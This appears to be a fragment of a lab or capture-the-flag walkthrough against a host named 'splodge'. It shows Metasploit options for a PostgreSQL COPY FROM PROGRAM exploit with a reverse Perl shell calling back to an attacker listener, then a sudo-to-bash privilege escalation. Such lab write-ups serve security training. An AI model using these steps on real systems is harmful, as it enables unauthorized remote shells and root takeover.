$ ps aux | grep pgsql
thesplo+ 1023 0.0 0.9 397396 17472 ? Ss 18:26 0:00 /usr/pgsql-12/bin/postmaster -D /home/thesplodge/.pgdata
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > options
Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate a
gainst
DUMP_TABLE_OUTPUT false no select payload command output
from table (For Debugging)
PASSWORD [REDACTED] no The password for the specified
username. Leave blank for a random
password.
RHOSTS 192.168.147.108 yes The target host(s), see https:
//github.com/rapid7/metasploit
-framework/wiki/Using-Metasploit
RPORT 5432 yes The target port (TCP)
TABLENAME imqV1ya2m yes A table name that does not exi
st (To avoid deletion)
USERNAME postgres yes The username to authenticate as
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.49.147 yes The listen address (an interface may be speci
fied)
LPORT 80 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
PrivEsc
[thesplodge@splodge ~]$ sudo -l
...
User thesplodge may run the following commands on splodge:
(ALL) NOPASSWD: /bin/bash
[thesplodge@splodge ~]$ sudo /bin/bash